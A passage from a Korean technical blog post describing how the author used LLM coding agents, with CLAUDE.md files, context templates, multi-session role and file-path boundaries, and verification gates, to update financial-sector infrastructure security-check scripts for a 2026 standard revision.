&lt;p data-ke-size=&quot;size16&quot;&gt;실제 초기 탐색 단계에서는 첨부한 이미지처럼 기준서, 스크립트, 파이프라인 계약을 한 번에 섞지 않고 분리해서 병렬로 검토했다. 예를 들어 금취분평 기준서(.xlsx)의 헤더 및 항목 추출, 각 인프라 시스템별 진단 스크립트 구조 분석, 테스트 기준 정합성 확인을 각각 별도의 서브 에이전트가 담당하도록 구성했다.&lt;br /&gt;이 방식은 &amp;ldquo;한 번에 다 처리하려다 전체 흐름의 갈피를 잃는 문제&amp;rdquo;를 줄여준다. 특히 금융 점검처럼 항목 하나의 누락이 치명적인 영역에서는 이런 구조화가 결과의 일관성을 크게 좌우한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 질문에 구체적인 맥락이 필요한 이유&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;1530&quot; data-start=&quot;1337&quot; data-ke-size=&quot;size16&quot;&gt;LLM은 의도 추론은 잘하지만, 작성자의 목적이나 비즈니스 제약까지 자동으로 완벽하게 이해하지는 못한다.&lt;br /&gt;따라서 &amp;ldquo;이 스크립트를 고쳐줘&amp;rdquo; 같은 요청보다는 &lt;b&gt;목표, 입력 파일, 출력 형식, 제약 조건, 검증 기준&lt;/b&gt;을 명확하게 지정해야 한다. 내가 지금 무엇을 하려는지 한 문장으로 요약해 주는 것만으로도 모델의 판단 범위는 훨씬 안정된다.&lt;/p&gt;
&lt;p data-end=&quot;1565&quot; data-start=&quot;1532&quot; data-ke-size=&quot;size16&quot;&gt;예를 들어 다음과 같이 선을 분명히 긋는 방식이 효과적이다.&lt;/p&gt;
&lt;blockquote data-end=&quot;1565&quot; data-start=&quot;1532&quot; data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;&lt;i&gt; 금융취약점분석평가 2026 개정 기준에 따라 dbms/ 경로의 스크립트만 수정, 기존 파서 호환 유지, output schema 변화 없음&lt;/i&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;1783&quot; data-start=&quot;1650&quot; data-ke-size=&quot;size16&quot;&gt;이런 규칙이 중요한 이유는 보안 스크립트의 특성 때문이다. 작은 오해 하나가 오탐, 누락, 혹은 계약 파손으로 이어질 수 있다. 특히 이미 운영 중인 파이프라인에 연결된 스크립트는 &amp;ldquo;기능 추가&amp;rdquo;보다 &amp;ldquo;호환성 유지&amp;rdquo;가 더 중요할 때가 많다.&lt;/p&gt;
&lt;p data-end=&quot;1812&quot; data-start=&quot;1785&quot; data-ke-size=&quot;size16&quot;&gt;실제로 사용했던 프롬프트 구조는 아래와 비슷했다.&lt;/p&gt;
&lt;pre id=&quot;code_1773149502447&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;역할: 금융 인프라 진단 스크립트 리뷰어
목표: 2026 금융취약점분석평가 개정항목 반영 기준으로 scripts/*과 파싱 스크립트(.py) 수정안 제안
입력: scripts/ 디렉토리 + 금취분평기준.xlsx + 현재 테스트 결과
출력: ① 변경 대상 목록 ② 영향도 높은 리스크 항목 ③ diff 제안 ④ 재실행 명령 ⑤ 롤백 포인트
제약: 기존 출력 스키마 호환 유지, 진단 항목명 절대 변경 금지&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반복 작업에서는 이런 컨텍스트를 템플릿으로 고정해 두면 실수가 크게 줄어든다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1773149561622&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 컨텍스트 템플릿 활용
cat &amp;gt; .tmp/context_prompt.txt &amp;lt;&amp;lt;'EOF'
목표:
입력:
출력:
제약:
검증:
EOF&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 번째 이미지에서도 비슷한 방식으로 작업 단위를 분해하고, 병렬 위임 전에 기준을 먼저 고정하는 흐름을 확인할 수 있다.&lt;br /&gt;실무에서 LLM 품질은 종종 모델보다 &lt;b&gt;초기 문맥 설계&lt;/b&gt;에서 먼저 갈린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 모델 선택은 성능보다 실패 기회비용 기준으로 나눈다.&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;2530&quot; data-start=&quot;2344&quot; data-ke-size=&quot;size16&quot;&gt;모델을 무조건 큰 것으로 통일하는 것이 항상 효율적인 것은 아니다.&lt;br /&gt;작은 스크립트 정리, 구조 정렬, 반복 비교 같은 작업은 오히려 경량 모델이나 단일 추론 단계가 더 빠르고 비용 효율적일 수 있다. 반대로 규정 문서, 기존 소스, 테스트 리포트를 동시에 해석해야 하는 경우에는 컨텍스트 정밀도가 중요해지므로 큰 모델이 유리하다.&lt;/p&gt;
&lt;p data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size16&quot;&gt;핵심은 작업 종류가 아니라 &lt;b&gt;작업 목표와 실패 비용&lt;/b&gt;으로 모델을 구분하는 것이다.&lt;br /&gt;필자의 경우 Claude는 기준 판단과 요약 중심, Codex는 구현 제안과 코드 정합성 검토 중심으로 나눠 쓰는 구조가 가장 안정적이었다.&lt;/p&gt;
&lt;p data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1773149600234&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;권장 분할
- 큰 모델: 규정 대응 항목 매핑, 전체 변경 전략 수립, 충돌 가능성 분석
- 경량 모델: 파일 단위 정규화, 반복 규칙 추출, 테스트 케이스 보강
- 공통: 최종 단계에서는 항상 동일한 검증 커맨드로 통합&lt;/code&gt;&lt;/pre&gt;
&lt;p data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;2943&quot; data-start=&quot;2799&quot; data-ke-size=&quot;size16&quot;&gt;이 구조의 장점은 명확하다. 큰 모델 하나에 모든 책임을 몰아주면 비용과 응답 시간이 커지고, 반대로 경량 모델만 사용하면 장기 맥락 연결이 쉽게 끊긴다.&lt;br /&gt;모델 간 역할을 나누고, 교차 검토 지점을 만들면 실제 리뷰 시간도 줄고 결과의 안정성도 높아진다.&lt;/p&gt;
&lt;p data-end=&quot;3169&quot; data-start=&quot;2945&quot; data-ke-size=&quot;size16&quot;&gt;다만 여기서 한 가지 짚고 넘어가야 한다. &amp;ldquo;큰 모델이 무조건 더 정확하다&amp;rdquo;는 생각은 실무에서 종종 틀릴 수 있다.&lt;br /&gt;규정 해석은 잘하더라도, 구현 단계에서는 기존 코드 스타일이나 예외 처리 흐름을 과도하게 재구성하려는 경향이 있을 수 있다. 이런 경우에는 오히려 범위를 좁힌 구현 모델이 더 예측 가능하게 동작한다. 그 점을 분리하지 않으면 AI를 썼는데도 변경량만 커지고 품질이 낮아질 수 있다.&lt;/p&gt;
&lt;p data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. CLAUDE.md 가 중요한 이유&lt;/b&gt;&lt;/h2&gt;
&lt;p data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;3371&quot; data-start=&quot;3200&quot; data-ke-size=&quot;size16&quot;&gt;CLAUDE.md는 단순한 메모 파일이 아니다.&lt;br /&gt;Claude 세션이 시작될 때 이 파일을 읽고 프로젝트 문맥을 바탕으로 응답하기 때문에, 이 파일이 부실하면 규칙 누락이 쉽게 발생한다. 특히 규정, 권한, 테스트 시나리오가 얽혀 있는 보안 프로젝트에서는 &lt;b&gt;정확한 계약 문서 자체가 곧 성능&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-end=&quot;3403&quot; data-start=&quot;3373&quot; data-ke-size=&quot;size16&quot;&gt;실무적으로는 최소한 다음 요소를 넣어 두는 것이 좋다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;3403&quot; data-start=&quot;3373&quot;&gt;기술 스택&lt;/li&gt;
&lt;li data-end=&quot;3403&quot; data-start=&quot;3373&quot;&gt;실행 진입점&lt;/li&gt;
&lt;li data-end=&quot;3403&quot; data-start=&quot;3373&quot;&gt;테스트 명령&lt;/li&gt;
&lt;li data-end=&quot;3403&quot; data-start=&quot;3373&quot;&gt;보안 민감 항목&lt;/li&gt;
&lt;li data-end=&quot;3403&quot; data-start=&quot;3373&quot;&gt;예외 처리 원칙&lt;/li&gt;
&lt;li data-end=&quot;3403&quot; data-start=&quot;3373&quot;&gt;출력 포맷&lt;/li&gt;
&lt;li data-end=&quot;3403&quot; data-start=&quot;3373&quot;&gt;검토가 반드시 필요한 경로&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1773149660917&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# CLAUDE.md 예시
- 기술 스택: Python 3.11, Bash, Git
- 실행 진입점: scripts/run_audit.py
- 테스트: pytest tests/ + bash -n scripts/**/*.sh&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size16&quot;&gt;이 파일이 있으면 멀티세션 환경에서도 공통 기준이 유지된다. 새로 시작한 세션도 이전과 비슷한 판단을 하게 되고, 매번 같은 설명을 반복하는 비용도 줄어든다.&lt;br /&gt;스크린샷의 흐름 역시 먼저 AGENTS, 기준 파일, 파이프라인을 이해한 뒤 계획을 세우고 각 역할을 분산시키는 구조였다. 결국 잘 정리된 프로젝트 문맥이 있어야 세션이 바뀌어도 판단이 흔들리지 않는다.&lt;/p&gt;
&lt;p data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4.1 CLAUDE.md 작성이 막힐 때에는 LLM에게 초안을 맡기자&lt;/b&gt;&lt;/h3&gt;
&lt;p data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size16&quot;&gt;처음부터 완벽한 CLAUDE.md를 직접 작성하려고 하면 생각보다 시간이 오래 걸린다. 이럴 때는 초안 생성 자체를 LLM에 맡기는 편이 훨씬 효율적이다.&lt;br /&gt;필자는 종종 아래 문장을 거의 그대로 사용한다.&lt;/p&gt;
&lt;p data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-style=&quot;style2&quot;&gt;&lt;i&gt;&lt;b&gt; 이 프로젝트를 분석하고 CLAUDE.md를 작성해줘. 기술 스택, 빌드 명령어, 코딩 컨벤션, 프로젝트 구조, 테스트 방법을 포함해. &lt;/b&gt;&lt;/i&gt;&lt;/blockquote&gt;
&lt;p data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;4399&quot; data-start=&quot;4220&quot; data-ke-size=&quot;size16&quot;&gt;이렇게 요청하면 모델이 프로젝트 구조를 바탕으로 기본 스켈레톤(뼈대)을 만들어준다. 이후 사람은 거기에 보안 정책, 예외 처리 원칙, 민감 경로 같은 디테일만 보강하면 된다.&lt;br /&gt;특히 보안 점검용 레포는 파일 구조와 실행 방식이 자주 바뀌지 않기 때문에, 초안 이후 몇 차례 수정만으로도 실사용 가능한 수준까지 빠르게 정리된다.&lt;/p&gt;
&lt;p data-end=&quot;4416&quot; data-start=&quot;4401&quot; data-ke-size=&quot;size16&quot;&gt;예시 템플릿은 아래와 같다.&lt;/p&gt;
&lt;p data-end=&quot;4416&quot; data-start=&quot;4401&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1773149806500&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;CLAUDE.md 작성 요청 템플릿
- 역할: 시니어 보안 엔지니어
- 산출물 형식: markdown
- 필수 항목: 기술 스택 / 빌드 / 테스트 / 코딩 규약 / 예외 / 보안 정책
- 금지: 진단 항목, 항목명, 진단 기준 변경
- 산출: 프로젝트 루트에 바로 배치 가능한 버전

스크립트 수정내용에 대한 검증 에이전트 동작 시 다음 내용을 포함하도록 추가.
 -수정 범위 위반 차단
   &amp;gt; 스크립트 파일명 변경 여부(금지)
   &amp;gt; 새 의존성 추가 여부(금지)
   &amp;gt; 실행 진입점 변경 여부(금지)
   
 - analyze 호환성 보장
   &amp;gt; CHK_N / SET CHK_N 포맷 유지
   &amp;gt; 코드 중복 여부
   &amp;gt; 항목명 중복/누락 여부
   &amp;gt; 자산군별 항목 수 이상치
 - Local Runtime Validation
   &amp;gt; 쉘 문법 검사
   &amp;gt; 배치 문법 검사
   &amp;gt; 샘플 입력 기반 실행
 - Analyze/Report Compatibility
   &amp;gt; {입력경로} 입력 생성
   &amp;gt; {분석 스크립트} 정상 실행 성공
   &amp;gt; {분석 스크립트 결과 폴더 내 결과 파일} 생성 확인&lt;/code&gt;&lt;/pre&gt;
&lt;p data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size16&quot;&gt;중요한 것은 &amp;ldquo;한 번에 완성&amp;rdquo;이 아니라 &lt;b&gt;초안 &amp;rarr; 검토 &amp;rarr; 보강&lt;/b&gt;의 짧은 순환을 만드는 것이다. 구현이 필요한 프로젝트에서는 이 한 번의 순환만으로도 체감 품질이 크게 올라간다.&lt;/p&gt;
&lt;p data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 바이브 코딩 작업 플로우 &lt;/b&gt;&lt;/h2&gt;
&lt;p data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;4829&quot; data-start=&quot;4718&quot; data-ke-size=&quot;size16&quot;&gt;바이브 코딩을 할 때에는 &lt;b&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;Explore &amp;rarr; Plan &amp;rarr; Implement &amp;rarr; Commit&lt;/span&gt;&lt;/b&gt; 루프를 의도적으로 강제하고 있다.&lt;br /&gt;이 네 단계는 단순한 취향이 아니라, 실패 모드를 통제하기 위한 안전장치에 가깝다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;4993&quot; data-start=&quot;4831&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;4876&quot; data-start=&quot;4831&quot; data-section-id=&quot;1c5j9a1&quot;&gt;&lt;b&gt;Explore&lt;/b&gt;: 기준 문서, 기존 코드, 테스트 계약을 먼저 확인한다.&lt;/li&gt;
&lt;li data-end=&quot;4917&quot; data-start=&quot;4877&quot; data-section-id=&quot;1hrofxj&quot;&gt;&lt;b&gt;Plan&lt;/b&gt;: 변경 범위를 자산군 또는 디렉터리 단위로 분할한다.&lt;/li&gt;
&lt;li data-end=&quot;4950&quot; data-start=&quot;4918&quot; data-section-id=&quot;94pfrj&quot;&gt;&lt;b&gt;Implement&lt;/b&gt;: 책임 범위를 좁혀 구현한다.&lt;/li&gt;
&lt;li data-end=&quot;4993&quot; data-start=&quot;4951&quot; data-section-id=&quot;a483x2&quot;&gt;&lt;b&gt;Commit&lt;/b&gt;: 누가, 왜, 무엇을 바꿨는지 추적 가능하게 남긴다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;5157&quot; data-start=&quot;4995&quot; data-ke-size=&quot;size16&quot;&gt;Explore 단계에서 기준과 계약을 먼저 고정하면 구현이 흔들리지 않는다. Plan 단계에서 변경 범위를 자산군별로 잘라두면 병합 충돌과 중복 수정이 줄어든다. Implement 단계에서는 한 번에 너무 넓은 범위를 건드리지 않고, Commit 단계에서는 변경 이유를 명시적으로 기록한다.&lt;/p&gt;
&lt;p data-end=&quot;5157&quot; data-start=&quot;4995&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;1690&quot; data-origin-height=&quot;823&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUEDtU/dJMcahKoQv8/GW3SFXnJG5ciFDFSTTX6OK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUEDtU/dJMcahKoQv8/GW3SFXnJG5ciFDFSTTX6OK/img.png&quot; data-alt=&quot;계획 수립 후 병렬 에이전트 수행 과정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUEDtU/dJMcahKoQv8/GW3SFXnJG5ciFDFSTTX6OK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUEDtU%2FdJMcahKoQv8%2FGW3SFXnJG5ciFDFSTTX6OK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1690&quot; height=&quot;823&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;1690&quot; data-origin-height=&quot;823&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;계획 수립 후 병렬 에이전트 수행 과정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-end=&quot;5157&quot; data-start=&quot;4995&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;5372&quot; data-start=&quot;5159&quot; data-ke-size=&quot;size16&quot;&gt;이미지처럼 &amp;ldquo;1차 구현 구간(UNIX/Windows/DBMS/미들웨어)&amp;rdquo;을 분리하고, 각 파트의 작업 권한을 나눠 병렬 실행한 뒤 마지막에 통합하는 방식이 특히 효과적이었다.&lt;br /&gt;에이전트 생성 실패 같은 이벤트도 로그로 남는데, 병렬 처리 중 일부가 실패하더라도 전체 영향 범위를 좁혀 놓았기 때문에 복구 지점이 명확해진다.&lt;/p&gt;
&lt;p data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 멀티세션 워크플로우는 역할과 수정 경계를 명확히 한다.&lt;/b&gt;&lt;/h2&gt;
&lt;p data-end=&quot;6134&quot; data-start=&quot;6032&quot; data-ke-size=&quot;size16&quot;&gt;보안 점검 스크립트처럼 맥락이 긴 작업을 단일 세션 하나로 끝내려 하면 컨텍스트 한계와 추론 편차가 쉽게 나타난다.&lt;br /&gt;반면 멀티세션은 역할만 제대로 고정하면 오히려 품질을 높여준다.&lt;/p&gt;
&lt;p data-end=&quot;6159&quot; data-start=&quot;6136&quot; data-ke-size=&quot;size16&quot;&gt;예를 들어 다음처럼 세션을 나눌 수 있다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;6159&quot; data-start=&quot;6136&quot;&gt;A 세션: 규정 매핑&lt;/li&gt;
&lt;li data-end=&quot;6159&quot; data-start=&quot;6136&quot;&gt;B 세션: 코드 구형&lt;/li&gt;
&lt;li data-end=&quot;6159&quot; data-start=&quot;6136&quot;&gt;C 세션: 구현 검증 및 테스트&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 방식의 핵심은 역할 자체보다 &lt;b&gt;누가 어떤 파일을 수정할 수 있는지&lt;/b&gt;를 먼저 명시하는 것이다.&lt;br /&gt;공유 파일 경계가 모호하면 같은 파일을 서로 다른 방식으로 수정하거나, 테스트는 통과했지만 논리적으로 충돌하는 변경이 누락되는 문제가 발생한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로는 다음처럼 공유 아티팩트를 정리해 두면 좋다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1773150217227&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;멀티세션 역할 정의 예시
- Session A (Analyze): 기준 파일 해석 + 항목 매핑
- Session B (Implement): 대상 파일 수정(파티션 단위)
- Session C (Verify): scope guard + contract check + smoke test
- 공유 아티팩트: shared_scope.json, changed_files.txt, verify_report.md&lt;/code&gt;&lt;/pre&gt;
&lt;p data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1773150246946&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 공유 스키마 예시
state = {
  &quot;scope&quot;: [&quot;server_unix&quot;, &quot;server_windows&quot;, &quot;dbms&quot;],
  &quot;allowed_paths&quot;: {
    &quot;A&quot;: [&quot;docs/&quot;, &quot;ruleset/&quot;],
    &quot;B&quot;: [&quot;scripts/script/&quot;, &quot;scripts/_common/&quot;],
    &quot;C&quot;: [&quot;tests/&quot;, &quot;tools/&quot;]
  },
  &quot;handoff&quot;: [&quot;diff_report.md&quot;, &quot;verify_report.md&quot;]
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size16&quot;&gt;최종 검증 단계에서는 자산군별 건수, 변경 파일 범위, 컨트랙트 체크, smoke test 결과를 한 번에 볼 수 있어야 신뢰 가능한 판단이 가능하다.&lt;br /&gt;이 구조는 한 번 정형화해 두면 다음 개정 주기에도 재사용할 수 있다. 특히 실무에서 더 위험한 것은 오탐보다도 &lt;b&gt;검증 갭&lt;/b&gt;이다. 코드가 커밋되었는지보다, 테스트가 어느 범위를 실제로 커버했는지가 훨씬 중요하다.&lt;/p&gt;
&lt;p data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;1690&quot; data-origin-height=&quot;803&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cVScjT/dJMcaadqVPV/yqaq3QwxGBwCKQT3KND4M1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cVScjT/dJMcaadqVPV/yqaq3QwxGBwCKQT3KND4M1/img.png&quot; data-alt=&quot;멀티 세션 오케스트레이션&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cVScjT/dJMcaadqVPV/yqaq3QwxGBwCKQT3KND4M1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcVScjT%2FdJMcaadqVPV%2Fyqaq3QwxGBwCKQT3KND4M1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1690&quot; height=&quot;803&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;1690&quot; data-origin-height=&quot;803&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;멀티 세션 오케스트레이션&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 마치며&lt;/b&gt;&lt;/h2&gt;
&lt;p data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;7212&quot; data-start=&quot;7128&quot; data-ke-size=&quot;size16&quot;&gt;LLM을 도입했다고 해서 코드 수준이 자동으로 올라가지는 않는다. 시행착오가 많이 필요하다. 필자도 이것저것 시도해보면서 수도 없이 롤백과 깃 커밋 revert를 거쳤다.&amp;nbsp;&lt;br /&gt;문서화, 계약화, 검증 루틴이 잘 잡혀 있을수록 AI 도입 효과가 커진다.&lt;/p&gt;
&lt;p data-end=&quot;7461&quot; data-start=&quot;7214&quot; data-ke-size=&quot;size16&quot;&gt;이번 작업에서 가장 중요했던 것은 &amp;ldquo;큰 모델의 능력&amp;rdquo;이 아니라, &lt;b&gt;이미지와 실행 로그를 포함한 작업 흐름 자체를 고정한 것&lt;/b&gt;이었다. 탐색, 계획, 실행, 검증이 분리된 구조 덕분에 중간 실패가 발생해도 회복이 가능했고, 변경 범위도 투명하게 추적할 수 있었다.&lt;br /&gt;그래서 팀에 바로 적용하려면 거창하게 시작할 필요는 없지만, 최소한 shared_context + CLAUDE.md + 테스트 게이트는 기본값으로 고정해 두는 편이 좋다.&lt;/p&gt;
&lt;p data-end=&quot;7616&quot; data-start=&quot;7463&quot; data-ke-size=&quot;size16&quot;&gt;아래의 최종 결과 예시처럼, 자산군별 항목 수, 체크 결과, 테스트 pass/fail 상태가 한 화면에 남아야 운영자가 빠르게 의사결정할 수 있다.&lt;br /&gt;실무에서는 결국 코드 그 자체보다 &lt;b&gt;어디까지 검증되었는가&lt;/b&gt;가 더 중요하다. 그런 의미에서 이번 작업이 의미가 있었다고 생각한다.&lt;/p&gt;
&lt;p data-end=&quot;7616&quot; data-start=&quot;7463&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;1350&quot; data-origin-height=&quot;784&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kESDo/dJMcac95iGK/O8BJJUCMCsgom8kMLH272K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kESDo/dJMcac95iGK/O8BJJUCMCsgom8kMLH272K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kESDo/dJMcac95iGK/O8BJJUCMCsgom8kMLH272K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkESDo%2FdJMcac95iGK%2FO8BJJUCMCsgom8kMLH272K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1350&quot; height=&quot;784&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;1350&quot; data-origin-height=&quot;784&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-end=&quot;2660&quot; data-start=&quot;2532&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
